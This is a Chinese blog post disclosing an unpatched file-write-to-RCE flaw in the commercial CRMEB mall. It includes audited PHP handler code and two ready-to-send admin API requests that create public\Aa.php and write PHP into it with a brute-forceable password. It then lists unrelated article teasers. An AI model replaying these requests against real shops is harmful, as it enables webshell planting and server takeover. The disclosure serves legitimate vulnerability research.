众邦科技CRMEB商城商业版任意文件写入getshell 0day

news2024/9/23 9:36:42

代码审计

接口:/adminapi/system/crud 处理的代码如下

public function save(SystemCrudDataService $service, $id = 0)
    {
        $data = $this->request->postMore([
            ['pid', 0],//上级菜单id
            ['menuName', ''],//菜单名
            ['tableName', ''],//表名
            ['modelName', ''],//模块名称
            ['tableComment', ''],//表备注
            ['tableField', []],//表字段
            ['tableIndex', []],//索引
            ['filePath', []],//生成文件位置
            ['isTable', 0],//是否生成表
            ['deleteField', []],//删除的表字段
        ]);

        $fromField = $searchField = $hasOneField = $columnField = $tableIndex = [];

        $dictionaryids = array_column($data['tableField'], 'dictionary_id');
        if ($dictionaryids) {
            $dictionaryList = $service->getColumn([['id', 'in', $dictionaryids]], 'value', 'id');
            foreach ($dictionaryList as &$value) {
                $value = is_string($value) ? json_decode($value, true) : $value;
            }
        } else {
            $dictionaryList = [];
        }

        foreach ($data['tableField'] as $item) {
            //判断字段长度
            if (in_array($item['field_type'], [FormTypeEnum::DATE_TIME, 'timestamp', 'time', 'date', 'year']) && $item['limit'] > 6) {
                return app('json')->fail('字段' . $item['field'] . '长度不能大于6');
            }
            if ($item['field_type'] == 'enum' && !is_array($item['limit'])) {
                return app('json')->fail('数据类型为枚举时,长度为数组类型');
            }
            //收集列表展示数据
            if ($item['is_table'] && !in_array($item['field_type'], ['primaryKey', 'addSoftDelete'])) {
                if (isset($item['primaryKey']) && !$item['primaryKey']) {
                    $columnField[] = [
                        'field' => $item['field'],
                        'name' => $item['table_name'] ?: $item['comment'],
                        'type' => $item['from_type'],
                    ];
                }
            }
            $name = $item['table_name'] ?: $item['comment'];
            $option = $item['options'] ?? (isset($item['dictionary_id']) ? ($dictionaryList[$item['dictionary_id']] ?? []) : []);
            //收集表单展示数据
            if ($item['from_type']) {
                if (!$name) {
                    return app('json')->fail(500048, [], ['field' => $item['field']]);
                }
                if (!$option && in_array($item['from_type'], [FormTypeEnum::RADIO, FormTypeEnum::SELECT])) {
                    return app('json')->fail('表单类型为radio或select时,options字段不能为空');
                }
                $fromField[] = [
                    'field' => $item['field'],
                    'type' => $item['from_type'],
                    'name' => $name,
                    'required' => $item['required'],
                    'option' => $option
                ];
            }

            //搜索
            if (!empty($item['search'])) {
                $searchField[] = [
                    'field' => $item['field'],
                    'type' => $item['from_type'],
                    'name' => $name,
                    'search' => $item['search'],
                    'options' => $option
                ];
            }

            //关联
            if (!empty($item['hasOne'])) {
                $hasOneField[] = [
                    'field' => $item['field'],
                    'hasOne' => $item['hasOne'] ?? '',
                    'name' => $name,
                ];
            }

            //索引
            if (!empty($item['index'])) {
                $tableIndex[] = $item['field'];
            }
        }
        if (!$fromField) {
            return app('json')->fail(500046);
        }
        if (!$columnField) {
            return app('json')->fail(500047);
        }
        $data['fromField'] = $fromField;
        $data['tableIndex'] = $tableIndex;
        $data['columnField'] = $columnField;
        $data['searchField'] = $searchField;
        $data['hasOneField'] = $hasOneField;
        if (!$data['tableName']) {
            return app('json')->fail(500042);
        }

        $this->services->createCrud($id, $data);

        return app('json')->success(500043);
    }

没有对传入参数的路径做任何过滤以及后缀的检查,导致可以在任意路径创建任意后缀的文件,因此可以再网站根目录创建一个php文件 但是内容会有默认的代码 再配合以下接口进行内容 修改(任意内容写入)

写入文件的接口 /adminapi/system/crud/save_file/:id 处理的代码如下

public function savefile(Request $request, SystemFileServices $service, $id)
    {
        $comment = $request->param('comment');
        $filepath = $request->param('filepath');
        $pwd = $request->param('pwd');

        if ($pwd == '') {
            return app('json')->fail('请输入文件管理密码');
        }
        if (config('filesystem.password') != $pwd) {
            return app('json')->fail('文件管理密码错误');
        }

        if (empty($filepath) || !$id) {
            return app('json')->fail(410087);
        }
        $crudInfo = $this->services->get($id, ['make_path']);
        if (!$crudInfo) {
            return app('json')->fail('修改的CRUD文件不存在');
        }

        $makeFilepath = '';
        foreach ($crudInfo->make_path as $key => $item) {
            $path = $item;
            if (in_array($key, ['pages', 'router', 'api'])) {
                $item = Make::adminTemplatePath() . $item;
            } else {
                $item = app()->getRootPath() . $item;
            }
            if ($filepath == $path) {
                $makeFilepath = $item;
                break;
            }
        }
        if (!$makeFilepath || !in_array($filepath, $crudInfo->make_path)) {
            return app('json')->fail('您没有权限修改此文件');
        }
        $res = $service->savefile($makeFilepath, $comment);
        if ($res) {
            return app('json')->success(100000);
        } else {
            return app('json')->fail(100006);
        }
    }

可以看到也没有任何过滤导致可以向任意路径的文件写入任意内容 前提是知道密码config('filesystem.password') 由于没有限制密码输入 次数导致可以爆破

两个接口配合即可写入任意代码导致

RCE

漏洞复现

首先调用如下接口 在controller处填写路径为public\\Aa.php 之后便会在程序根目录创建Aa.php

POST /adminapi/system/crud HTTP/1.1
Host: 192.168.242.142:89
Content-Length: 919
Accept: application/json, text/plain, */*
Authori-zation: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwd2QiOiIwZmQ0Yjc1ZTA2Nzc5MjMwOTdlZThlNmQzYTdkZTQwMSIsImlzcyI6IjE5Mi4xNjguMjQyLjE0Mjo4OSIsImF1ZCI6IjE5Mi4xNjguMjQyLjE0Mjo4OSIsImlhdCI6MTcwNjc5NTcwNywibmJmIjoxNzA2Nzk1NzA3LCJleHAiOjE3MDkzODc3MDcsImp0aSI6eyJpZCI6MSwidHlwZSI6ImFkbWluIn19.UXGhi5sYhA4tNyLX1CWza_qjJKkR8jMaKZ7CwdeBpUY
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://192.168.242.142:89
Referer: http://192.168.242.142:89/admin/system/code_generation
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: cb_lang=zh-cn; PHPSESSID=3c31ae0511c0770e81da16eb38aa551a; WS_ADMIN_URL=ws://192.168.242.142:89/notice; WS_CHAT_URL=ws://192.168.242.142:89/msg; uuid=1; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwd2QiOiIwZmQ0Yjc1ZTA2Nzc5MjMwOTdlZThlNmQzYTdkZTQwMSIsImlzcyI6IjE5Mi4xNjguMjQyLjE0Mjo4OSIsImF1ZCI6IjE5Mi4xNjguMjQyLjE0Mjo4OSIsImlhdCI6MTcwNjc5NTcwNywibmJmIjoxNzA2Nzk1NzA3LCJleHAiOjE3MDkzODc3MDcsImp0aSI6eyJpZCI6MSwidHlwZSI6ImFkbWluIn19.UXGhi5sYhA4tNyLX1CWza_qjJKkR8jMaKZ7CwdeBpUY; expires_time=1709387707
Connection: close

{"pid":7,"tableName":"aa","modelName":"aa","isTable":1,"menuName":"aa","filePath":{"controller":"public\\Aa.php","model":"app\\model\\crud\\Aa.php","dao":"app\\dao\\crud\\AaDao.php","route":"app\\adminapi\\route\\crud\\aa.php","service":"app\\services\\crud\\AaServices.php","validate":"app\\adminapi\\validate\\crud\\AaValidate.php","router":"router\\modules\\crud\\aa.js","api":"api\\crud\\aa.js","pages":"pages\\crud\\aa\\index.vue"},"tableField":[{"field":"id","field_type":"int","default":"","comment":"自增ID","required":false,"is_table":true,"table_name":"ID","limit":"15","primaryKey":1,"from_type":""},{"field":"aa","field_type":"varchar","default":"aa","default_type":"1","comment":"aa","required":true,"is_table":true,"table_name":"aa","limit":200,"primaryKey":0,"from_type":"dateTime","search":"=","dictionary_id":0,"hasOne":["agent_level","name"],"index":true}],"deleteField":[]}

查看目录创建成功 并且会自动填充一些代码

再点击查看代码

在文件管理密码已知的情况下这里为123456(可以爆破) 调用以下数据包

POST /adminapi/system/crud/save_file/5 HTTP/1.1
Host: 192.168.242.142:89
Content-Length: 78
Accept: application/json, text/plain, */*
Authori-zation: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwd2QiOiIwZmQ0Yjc1ZTA2Nzc5MjMwOTdlZThlNmQzYTdkZTQwMSIsImlzcyI6IjE5Mi4xNjguMjQyLjE0Mjo4OSIsImF1ZCI6IjE5Mi4xNjguMjQyLjE0Mjo4OSIsImlhdCI6MTcwNjc5NTcwNywibmJmIjoxNzA2Nzk1NzA3LCJleHAiOjE3MDkzODc3MDcsImp0aSI6eyJpZCI6MSwidHlwZSI6ImFkbWluIn19.UXGhi5sYhA4tNyLX1CWza_qjJKkR8jMaKZ7CwdeBpUY
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://192.168.242.142:89
Referer: http://192.168.242.142:89/admin/system/code_generation_list
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: cb_lang=zh-cn; PHPSESSID=3c31ae0511c0770e81da16eb38aa551a; WS_ADMIN_URL=ws://192.168.242.142:89/notice; WS_CHAT_URL=ws://192.168.242.142:89/msg; uuid=1; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwd2QiOiIwZmQ0Yjc1ZTA2Nzc5MjMwOTdlZThlNmQzYTdkZTQwMSIsImlzcyI6IjE5Mi4xNjguMjQyLjE0Mjo4OSIsImF1ZCI6IjE5Mi4xNjguMjQyLjE0Mjo4OSIsImlhdCI6MTcwNjc5NTcwNywibmJmIjoxNzA2Nzk1NzA3LCJleHAiOjE3MDkzODc3MDcsImp0aSI6eyJpZCI6MSwidHlwZSI6ImFkbWluIn19.UXGhi5sYhA4tNyLX1CWza_qjJKkR8jMaKZ7CwdeBpUY; expires_time=1709387707
Connection: close

{"filepath":"public\\Aa.php","comment":"<?php\nphpinfo();\n?>","pwd":"123456"}

成功写入内容

尝试访问 http://192.168.242.142:89/Aa.php

这只是写入的phpinfo 进行无危害验证 可以写入其他内容进行RCE 而且是在根目录

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1543108.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

代码随想录训练营第55天 | LeetCode 583. 两个字符串的删除操作、​​​​​​LeetCode 72. 编辑距离、总结

目录 LeetCode 583. 两个字符串的删除操作 文章讲解&#xff1a;代码随想录(programmercarl.com) 视频讲解&#xff1a;LeetCode&#xff1a;583.两个字符串的删除操_哔哩哔哩_bilibili 思路 ​​​​​​LeetCode 72. 编辑距离 文章讲解&#xff1a;代码随想录(programm…

恢复 Linux 上已删除的文件:extundelete 、PhotoRec (***)

为什么Linux的命令 rm 没有回收站呢&#xff1f;Trash-Cli&#xff1a;Linux 命令行回收站工具 &#xff08;***&#xff09; https://blog.csdn.net/ken2232/article/details/136981360 后悔药 使用回收站&#xff0c;这是第一次的后悔药&#xff1b; 使用 extundelete 等&a…

网络电视盒子哪个品牌好?2024畅销电视盒子排行榜

电视盒子的品牌和产品非常多&#xff0c;让新手在选购时难度增大&#xff0c;大部分消费者在此时会选择参考销量排名情况&#xff0c;小编这次结合各个电商平台的销量和用户评价整理了电视盒子排行榜&#xff0c;想买电视盒子不知道网络电视盒子哪个品牌好可以收藏。 TOP 1.泰捷…

如何做试卷的ocr识别算法?

要实现试卷的OCR识别算法&#xff0c;可以采取以下步骤&#xff1a; 数据预处理&#xff1a;首先需要对试卷图片进行预处理&#xff0c;包括图像降噪、灰度化、二值化等操作&#xff0c;以便提高后续文字识别的准确性。 文字检测&#xff1a;利用文字检测算法定位试卷图片中的…

.NET Framework 服务实现监控可观测性最佳实践

环境信息 系统环境&#xff1a;Windows Server开发语言&#xff1a;.NET Framework > 4.6.1APM探针包&#xff1a;ddtrace 准备工作 安装 Datakit 主机部署&#xff1a; 主机安装 - 观测云文档 打开采集 APM 采集器 Windows 主机配置 # 到如下路径&#xff0c;把ddtr…

【探索多模态视觉问答】数据集概览及特点分析

【探索多模态视觉问答】数据集概览及特点分析 引言 在计算机视觉和自然语言处理领域&#xff0c;视觉问答&#xff08;VQA&#xff09;是一个重要的任务&#xff0c;旨在让计算机理解图像内容并回答关于图像的问题。为了促进和评估多模态模型在视觉问答任务上的表现&#xff…

WordPress Wholesale Market 插件 任意文件读取漏洞复现

0x01 产品简介 WordPress plugin Wholesale Market 是一个woocommerce扩展插件&#xff0c;使您的商店能够创建批发用户&#xff0c;并通过设置产品的批发价格。 0x02 漏洞概述 WordPress plugin Wholesale Market 2.2.1之前版本存在路径遍历漏洞&#xff0c;该漏洞源于没有…

Elasticsearch8 - Docker安装Elasticsearch8.12.2

前言 最近在学习 ES&#xff0c;所以需要在服务器上装一个单节点的 ES 服务器环境&#xff1a;centos 7.9 安装 下载镜像 目前最新版本是 8.12.2 docker pull docker.elastic.co/elasticsearch/elasticsearch:8.12.2创建配置 新增配置文件 elasticsearch.yml http.host…

Linux常见指令解析一

Linux常见指令解析一 常见指令1. ls 指令2.pwd 命令3.cd 命令4.touch 命令5.mkdir 命令6.rmdir指令 && rm 指令7.man 指令8.cp 指令9.cat 命令 && tac 命令10.mv 指令11.more 指令12.less 指令13.head 指令14.tail 指令15.cal 指令 常见指令 1. ls 指令 语法…

无损压缩:制作200KB以下JPEG格式图片的实用技巧

在上传图片到社交媒体平台时&#xff0c;通常有文件大小限制&#xff0c;将图片大小限制在200KB以下可确保上传成功&#xff0c;并避免降低图片质量&#xff0c;而且在网页设计中&#xff0c;为了确保快速加载速度&#xff0c;特别是对于移动设备用户&#xff0c;限制页面上的图…

SpringBoot + MyBatisPlus分页查询

文章目录 1.思路分析2.分页查询后端实现1.com/sun/furn/config/MybatisConfig.java 注入MyBatisPlus分页拦截器2.com/sun/furn/controller/FurnController.java 添加方法3.postman测试 3.分页查询前端实现1.src/views/HomeView.vue 引入分页导航条组件2.src/views/HomeView.vue…

2024年Web前端面试题(最全、最详细、持续更新)

文章目录 24年面试题面试题总结JS相关数组拉平WebSocketjs汇总 Vue相关React相关React 18react汇总useState更新是否异步setTimout 里 setStatetypescript 其他问题浏览器如何缓存文件http常见状态码http、https的区别ES6 模块与 CommonJS 模块的差异如何捕获代码错误设计模式和…

面试八股——redis——缓存——缓存穿透、击穿、雪崩

HR&#xff1a;你在项目中的那些场景用到了redis&#xff1f; 1. 缓存穿透问题 &#xff08;项目中使用的方法&#xff09; 2. 缓存击穿 解决办法1&#xff1a;加互斥锁。大量并发时&#xff0c;先让一个人去查&#xff0c;其他人等着。这样剩下人就可在缓存直接获取值。&#…

Bayes-RF,基于贝叶斯Bayes优化算法优化随机森林RF数据回归预测(多输入单输出)-MATLAB实现

Bayesian optimization 是一种用于调节机器学习模型超参数的方法&#xff0c;而随机森林 (Random Forest, RF) 是一种强大的机器学习算法&#xff0c;常用于回归和分类任务。将它们结合起来可以提高模型性能&#xff0c;这就是 Bayes-RF 的基本思想。 下面是一个基于贝叶斯优化…

【Java程序设计】【C00364】基于Springboot的美发管理系统(有论文)

基于Springboot的美发管理系统&#xff08;有论文&#xff09; 项目简介项目获取开发环境项目技术运行截图 项目简介 项目获取 &#x1f345;文末点击卡片获取源码&#x1f345; 开发环境 运行环境&#xff1a;推荐jdk1.8&#xff1b; 开发工具&#xff1a;eclipse以及idea&…

Transformer的前世今生 day06(Self-Attention和RNN、LSTM的区别)

Self-Attention和RNN、LSTM的区别 RNN的缺点&#xff1a;无法做长序列&#xff0c;当输入很长时&#xff0c;最后面的输出很难参考前面的输入&#xff0c;即长序列会缺失上文信息&#xff0c;如下&#xff1a; 可能一段话超过50个字&#xff0c;输出效果就会很差了 LSTM通过忘…

Spring Security之认证过滤器

前言 上回我们探讨了关于Spring Security&#xff0c;着实复杂。这次咱们聊的认证过滤器就先聊聊认证功能。涉及到多方协同的功能&#xff0c;咱分开聊。也给小伙伴喘口气&#xff0c;嘻嘻。此外也是因为只有登录认证了&#xff0c;才有后续的更多功能集成的可能。 认证过滤器…

MySQL高可用解决方案――从主从复制到InnoDB Cluster架构

2024送书福利正式起航 关注「哪吒编程」&#xff0c;提升Java技能 文末送5本《MySQL高可用解决方案――从主从复制到InnoDB Cluster架构》 大家好&#xff0c;我是哪吒。 爱奇艺每天都为数以亿计的用户提供7x24小时不间断的视频服务。通过爱奇艺的平台&#xff0c;用户可以…

由浅到深认识Java语言(23):System类

该文章Github地址&#xff1a;https://github.com/AntonyCheng/java-notes 在此介绍一下作者开源的SpringBoot项目初始化模板&#xff08;Github仓库地址&#xff1a;https://github.com/AntonyCheng/spring-boot-init-template & CSDN文章地址&#xff1a;https://blog.c…

智达方通全面预算管理系统,为企业带来更可靠的交付

对于几乎所有企业来说&#xff0c;确定提供哪些产品或服务、如何制定销售计划和配备业务以及平衡定价和预算成本以获得持续上升的利润是最基础的工作&#xff0c;对这些基础工作的评估过程可以直接决定企业未来的成功与否。然而&#xff0c;在如今这个数据激增、高速运转的新经…